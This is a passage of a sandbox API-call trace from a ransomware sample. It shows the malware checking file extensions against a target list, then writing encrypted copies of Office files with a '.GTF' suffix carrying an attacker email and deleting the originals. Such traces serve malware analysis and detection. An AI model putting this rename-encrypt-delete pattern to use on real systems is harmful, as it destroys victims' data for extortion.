	[0088.384] lstrlenW (lpString=".xlsx") returned 5
	[0088.384] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.384] lstrlenW (lpString=".ppt") returned 4
	[0088.384] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0088.384] lstrlenW (lpString=".zip") returned 4
	[0088.384] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.384] lstrlenW (lpString=".rar") returned 4
	[0088.384] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.384] lstrlenW (lpString=".bz2") returned 4
	[0088.384] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.384] lstrlenW (lpString=".7z") returned 3
	[0088.384] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0088.384] lstrlenW (lpString=".dbf") returned 4
	[0088.384] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0088.384] lstrlenW (lpString=".1cd") returned 4
	[0088.384] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0088.384] lstrlenW (lpString=".jpg") returned 4
	[0088.384] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0088.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0088.384] lstrlenW (lpString=".doc") returned 4
	[0088.384] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.384] lstrlenW (lpString=".docx") returned 5
	[0088.385] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.385] lstrlenW (lpString=".pdf") returned 4
	[0088.385] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.385] lstrlenW (lpString=".xls") returned 4
	[0088.385] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.385] lstrlenW (lpString=".xlsx") returned 5
	[0088.385] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.385] lstrlenW (lpString=".ppt") returned 4
	[0088.385] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0088.385] lstrlenW (lpString=".zip") returned 4
	[0088.385] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.385] lstrlenW (lpString=".rar") returned 4
	[0088.385] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.385] lstrlenW (lpString=".bz2") returned 4
	[0088.385] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.385] lstrlenW (lpString=".7z") returned 3
	[0088.385] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0088.385] lstrlenW (lpString=".dbf") returned 4
	[0088.385] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0088.385] lstrlenW (lpString=".1cd") returned 4
	[0088.385] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0088.385] lstrlenW (lpString=".jpg") returned 4
	[0088.385] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.385] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.385] lstrlenW (lpString="TabTip.exe.mui") returned 14
	[0088.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.386] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=2560) returned 1
	[0088.386] CloseHandle (hObject=0x378) returned 1
	[0088.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui")) returned 0x20
	[0088.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71
	[0088.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71
	[0088.386] lstrlenW (lpString=".doc") returned 4
	[0088.386] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.386] lstrlenW (lpString=".docx") returned 5
	[0088.386] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.386] lstrlenW (lpString=".pdf") returned 4
	[0088.386] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.386] lstrlenW (lpString=".xls") returned 4
	[0088.386] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.387] lstrlenW (lpString=".xlsx") returned 5
	[0088.387] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.387] lstrlenW (lpString=".ppt") returned 4
	[0088.387] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71
	[0088.387] lstrlenW (lpString=".zip") returned 4
	[0088.387] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.387] lstrlenW (lpString=".rar") returned 4
	[0088.387] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.387] lstrlenW (lpString=".bz2") returned 4
	[0088.387] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.387] lstrlenW (lpString=".7z") returned 3
	[0088.387] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71
	[0088.387] lstrlenW (lpString=".dbf") returned 4
	[0088.387] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71
	[0088.387] lstrlenW (lpString=".1cd") returned 4
	[0088.387] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71
	[0088.387] lstrlenW (lpString=".jpg") returned 4
	[0088.387] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71
	[0088.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71
	[0088.387] lstrlenW (lpString=".doc") returned 4
	[0088.387] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.387] lstrlenW (lpString=".docx") returned 5
	[0088.387] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.387] lstrlenW (lpString=".pdf") returned 4
	[0088.387] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.387] lstrlenW (lpString=".xls") returned 4
	[0088.387] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.387] lstrlenW (lpString=".xlsx") returned 5
	[0088.387] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.387] lstrlenW (lpString=".ppt") returned 4
	[0088.387] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71
	[0088.388] lstrlenW (lpString=".zip") returned 4
	[0088.388] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.388] lstrlenW (lpString=".rar") returned 4
	[0088.388] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.388] lstrlenW (lpString=".bz2") returned 4
	[0088.388] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.388] lstrlenW (lpString=".7z") returned 3
	[0088.388] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71
	[0088.388] lstrlenW (lpString=".dbf") returned 4
	[0088.388] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71
	[0088.388] lstrlenW (lpString=".1cd") returned 4
	[0088.388] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 71
	[0088.388] lstrlenW (lpString=".jpg") returned 4
	[0088.388] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.388] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.388] lstrlenW (lpString="TipRes.dll.mui") returned 14
	[0088.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.389] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=25088) returned 1
	[0088.389] CloseHandle (hObject=0x378) returned 1
	[0088.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20
	[0088.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71
	[0088.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71
	[0088.389] lstrlenW (lpString=".doc") returned 4
	[0088.389] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.389] lstrlenW (lpString=".docx") returned 5
	[0088.389] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.389] lstrlenW (lpString=".pdf") returned 4
	[0088.389] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.389] lstrlenW (lpString=".xls") returned 4
	[0088.389] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.390] lstrlenW (lpString=".xlsx") returned 5
	[0088.390] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.390] lstrlenW (lpString=".ppt") returned 4
	[0088.390] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71
	[0088.390] lstrlenW (lpString=".zip") returned 4
	[0088.390] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.390] lstrlenW (lpString=".rar") returned 4
	[0088.390] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.390] lstrlenW (lpString=".bz2") returned 4
	[0088.390] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.390] lstrlenW (lpString=".7z") returned 3
	[0088.390] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71
	[0088.390] lstrlenW (lpString=".dbf") returned 4
	[0088.390] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71
	[0088.390] lstrlenW (lpString=".1cd") returned 4
	[0088.390] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71
	[0088.390] lstrlenW (lpString=".jpg") returned 4
	[0088.390] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71
	[0088.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71
	[0088.390] lstrlenW (lpString=".doc") returned 4
	[0088.390] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.390] lstrlenW (lpString=".docx") returned 5
	[0088.390] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.390] lstrlenW (lpString=".pdf") returned 4
	[0088.390] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.390] lstrlenW (lpString=".xls") returned 4
	[0088.390] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.390] lstrlenW (lpString=".xlsx") returned 5
	[0088.390] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.391] lstrlenW (lpString=".ppt") returned 4
	[0088.391] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71
	[0088.391] lstrlenW (lpString=".zip") returned 4
	[0088.391] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.391] lstrlenW (lpString=".rar") returned 4
	[0088.391] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.391] lstrlenW (lpString=".bz2") returned 4
	[0088.391] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.391] lstrlenW (lpString=".7z") returned 3
	[0088.391] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71
	[0088.391] lstrlenW (lpString=".dbf") returned 4
	[0088.391] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71
	[0088.391] lstrlenW (lpString=".1cd") returned 4
	[0088.391] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71
	[0088.391] lstrlenW (lpString=".jpg") returned 4
	[0088.391] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.391] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.391] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0088.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.391] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=9728) returned 1
	[0088.392] CloseHandle (hObject=0x378) returned 1
	[0088.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20
	[0088.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0088.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0088.392] lstrlenW (lpString=".doc") returned 4
	[0088.392] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.392] lstrlenW (lpString=".docx") returned 5
	[0088.392] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.392] lstrlenW (lpString=".pdf") returned 4
	[0088.392] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.392] lstrlenW (lpString=".xls") returned 4
	[0088.392] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.392] lstrlenW (lpString=".xlsx") returned 5
	[0088.392] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.392] lstrlenW (lpString=".ppt") returned 4
	[0088.392] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0088.392] lstrlenW (lpString=".zip") returned 4
	[0088.392] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.392] lstrlenW (lpString=".rar") returned 4
	[0088.392] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.392] lstrlenW (lpString=".bz2") returned 4
	[0088.392] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.392] lstrlenW (lpString=".7z") returned 3
	[0088.392] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0088.392] lstrlenW (lpString=".dbf") returned 4
	[0088.393] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.067] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.067] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0089.067] GetLastError () returned 0x0
	[0089.067] ReadFile (in: hFile=0x358, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0089.070] WriteFile (in: hFile=0x384, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0089.072] ReadFile (in: hFile=0x358, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.072] WriteFile (in: hFile=0x384, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x104, lpOverlapped=0x0) returned 1
	[0089.072] SetEndOfFile (hFile=0x384) returned 1
	[0089.072] CloseHandle (hObject=0x384) returned 1
	[0089.072] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.072] SetEndOfFile (hFile=0x358) returned 1
	[0089.073] CloseHandle (hObject=0x358) returned 1
	[0089.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0089.073] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 1
	[0089.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0089.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0089.073] lstrlenW (lpString=".doc") returned 4
	[0089.074] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.074] lstrlenW (lpString=".docx") returned 5
	[0089.074] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0089.074] lstrlenW (lpString=".pdf") returned 4
	[0089.074] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.074] lstrlenW (lpString=".xls") returned 4
	[0089.074] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.074] lstrlenW (lpString=".xlsx") returned 5
	[0089.074] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0089.074] lstrlenW (lpString=".ppt") returned 4
	[0089.074] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0089.074] lstrlenW (lpString=".zip") returned 4
	[0089.074] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.074] lstrlenW (lpString=".rar") returned 4
	[0089.075] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.075] lstrlenW (lpString=".bz2") returned 4
	[0089.075] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.075] lstrlenW (lpString=".7z") returned 3
	[0089.075] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0089.075] lstrlenW (lpString=".dbf") returned 4
	[0089.075] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0089.075] lstrlenW (lpString=".1cd") returned 4
	[0089.075] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0089.075] lstrlenW (lpString=".jpg") returned 4
	[0089.075] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0089.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0089.075] lstrlenW (lpString=".doc") returned 4
	[0089.075] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.075] lstrlenW (lpString=".docx") returned 5
	[0089.075] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0089.075] lstrlenW (lpString=".pdf") returned 4
	[0089.075] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.075] lstrlenW (lpString=".xls") returned 4
	[0089.075] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.075] lstrlenW (lpString=".xlsx") returned 5
	[0089.075] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0089.075] lstrlenW (lpString=".ppt") returned 4
	[0089.075] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0089.075] lstrlenW (lpString=".zip") returned 4
	[0089.075] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.075] lstrlenW (lpString=".rar") returned 4
	[0089.075] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.075] lstrlenW (lpString=".bz2") returned 4
	[0089.075] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.075] lstrlenW (lpString=".7z") returned 3
	[0089.076] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0089.076] lstrlenW (lpString=".dbf") returned 4
	[0089.076] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0089.076] lstrlenW (lpString=".1cd") returned 4
	[0089.076] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
